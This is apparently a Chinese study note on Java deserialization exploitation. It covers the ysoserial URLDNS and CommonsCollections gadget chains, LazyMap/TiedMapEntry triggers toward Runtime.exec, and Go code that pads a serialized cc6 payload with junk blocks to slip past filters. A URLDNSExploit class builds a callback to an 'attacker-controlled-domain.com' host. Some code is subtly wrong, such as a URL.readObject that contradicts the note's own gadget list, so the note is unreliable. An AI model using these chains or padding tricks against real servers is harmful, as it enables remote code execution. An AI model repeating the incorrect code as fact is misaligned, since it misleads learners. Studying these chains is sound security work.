最近在看P神的《Java安全漫谈》,故留下此篇笔记,方便后续忘记了,回头翻一翻
⼀个里程碑式的⼯具,ysoserial。
整个 URLDNS 的Gadget其实清晰又简单:
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者 在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。
classAnnotations是什么?
classAnnotations是Java序列化过程中的一个关键概念,它存储在ObjectStreamClass`中,用于记录与类相关的附加信息:
CommonsCollections库
概念 :一个提供额外数据结构和算法的Java库,用于增加Collection接口功能、装饰器模式实现、数据处理操作。
利用点:利用了开发者对第三方库的信任,通过合理的API调用实现了代码执行,完美地绕过了传统的安全检查。
核心接口和类
java
// Transformer接口 - 核心组件
public interface Transformer {
Object transform(Object input);
}
// 关键实现类
public class ConstantTransformer implements Transformer {
private final Object iConstant;
public Object transform(Object input) {
return iConstant; // 总是返回常量值
}
}
public class InvokerTransformer implements Transformer {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
}
1.链式执行逻辑
txt
输入: 任意对象
第1步: ConstantTransformer.transform() → 返回Runtime.class
第2步: InvokerTransformer("getMethod").transform() → 获取getMethod方法
第3步: InvokerTransformer("invoke").transform() → 调用getRuntime方法
第4步: InvokerTransformer("exec").transform() → 执行命令
2. 反序列化触发点
java
// 攻击者利用LazyMap触发链式调用
public class LazyMap extends AbstractMapDecorator {
private final Transformer factory;
public Object get(Object key) {
// 触发transformer调用
return factory.transform(key);
}
}
URLDNS
1. 基本概念
- URLDNS:Java URL对象的反序列化链
- 主要功能:通过反序列化触发DNS查询
- 用途:验证反序列化漏洞是否存在
关键词:URL
2. 技术原理
java
// 核心攻击组件 - URL对象的反序列化
public class URL implements java.io.Serializable {
private String protocol;
private String host;
private int port;
private void readObject(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 反序列化时自动触发getHostAddress()调用
// 这会发起DNS查询!
if (host != null) {
getHostAddress(); // 关键:触发DNS解析
}
}
}
攻击机制详解
1. DNS触发原理
java
// URL对象构造时的DNS查询触发
public InetAddress getHostAddress() {
if (hostAddress == null) {
hostAddress = InetAddress.getByName(host); // 发起DNS查询
}
return hostAddress;
}
2. 完整的利用链
java
public class URLDNSExploit {
public static void main(String[] args) throws Exception {
// 构造恶意URL对象
URL url = new URL("http://attacker-controlled-domain.com");
// 序列化URL对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(url);
oos.close();
// 发送到目标系统进行反序列化
byte[] exploitData = baos.toByteArray();
// ... 传输并触发反序列化 ...
}
}
3. 反序列化触发流程
反序列化URL对象 → readObject() → defaultReadObject() →
getHostAddress() → InetAddress.getByName() → DNS查询
Gadget是做什什么
- Gadget:在计算机安全中,指的是可以组合使用的代码片段或功能模块
- 核心思想:利用现有的良性代码构建恶意攻击链
- 形象比喻:像"乐高积木"一样,可以拼接不同的功能块来构建攻击
1. 什么是反序列化Gadget链?
java
java
// 将多个良性代码组合成攻击链
public class ChainedGadget {
public Object executeChain(Object startInput) {
// 第一步:获取Runtime类
Object step1 = TransformerA.transform(startInput); // 返回Runtime.class
// 第二步:获取getRuntime方法
Object step2 = TransformerB.transform(step1); // 获取getMethod
// 第三步:调用getRuntime
Object step3 = TransformerB.transform(step2); // invoke
// 第四步:执行命令
Object step4 = TransformerC.transform(step3); // exec命令
return step4;
}
}
2. 完整的Gadget链构建
输入: 恶意序列化数据
↓
Gadget 1: ConstantTransformer → 返回固定值
↓
Gadget 2: InvokerTransformer → 反射调用方法
↓
Gadget 3: ChainedTransformer → 链式执行
↓
Gadget 4: LazyMap → 触发链执行
↓
Gadget 5: BadAttributeValueExpException → 反序列化入口
↓
输出: 代码执行
经典Gadget案例分析
1. CommonsCollections Gadget链
java
java
// 步骤1: 基础Transformer
Transformer[] chain = new Transformer[] {
new ConstantTransformer(Runtime.class), // Gadget 1
new InvokerTransformer("getMethod", ...), // Gadget 2
new InvokerTransformer("invoke", ...), // Gadget 3
new InvokerTransformer("exec", ...) // Gadget 4
};
// 步骤2: 链式组合
ChainedTransformer chained = new ChainedTransformer(chain); // Gadget 5
// 步骤3: 触发器
Map lazyMap = LazyMap.decorate(new HashMap(), chained); // Gadget 6
// 步骤4: 序列化包装
BadAttributeValueExpException exception = new BadAttributeValueExpException();
setFieldValue(exception, "val", lazyMap); // Gadget 7
2. URLDNS Gadget
java
java
// 单一Gadget示例
public class URLGadget {
private void readObject(ObjectInputStream ois) {
ois.defaultReadObject();
// 这个方法本身就构成了一个Gadget
if (host != null) {
getHostAddress(); // 触发DNS查询
}
}
}
当你兴冲冲地拿着这串序列化流,跑到服务器上进行反序列化时就会发现,又无法成功执行命令了。这又是为什么呢?
在java8以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数
如何破局?
解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。
欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode
LazyMap究竟又是什么呢
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。
如何构造一个包含垃圾数据的序列化流
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}